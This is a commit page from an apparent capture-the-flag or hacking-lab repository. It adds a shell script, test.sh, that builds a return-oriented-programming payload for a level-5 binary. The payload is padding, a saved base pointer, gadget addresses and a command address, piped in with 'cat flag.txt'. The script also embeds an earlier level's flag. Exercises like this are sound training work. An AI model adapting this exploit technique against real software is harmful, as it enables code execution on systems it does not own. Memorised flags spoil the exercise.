ejung/hacklab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

5

Browse Source
This commit is contained in:
Eggert Jung
2026-01-06 10:49:56 +01:00
parent 9019369b0d
commit c823836626
7 changed files with 50 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

15
4/level5/test.sh Executable file
View File

@@ -0,0 +1,15 @@
#ROP
#0x0000000000401283 : pop rdi ; ret
#objdump
#0000000000404048 g O .data 0000000000000008 command
OLDFLAG="hacklab{SSE_1n5truct10n5_n33d_spec14l_al1gnm3nt_UwT8mByQ}\n"
PADDING="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" #32
SAVERBP="\x90\xde\xff\xff\xff\x7f\x00\00" #kind of irrelevant
GADGET1="\x84\x12\x40\00\00\00\00\00" #ret (for stack alignment)
GADGET2="\x83\x12\x40\00\00\00\00\00" #pop rdi, ret
CMDADDR="\x48\x40\x40\00\00\00\00\00"
CMDCALL="\x10\x12\x40\00\00\00\00\00"
printf "$OLDFLAG$PADDING$SAVERBP$GADGET2$CMDADDR$CMDCALL\ncat flag.txt\n"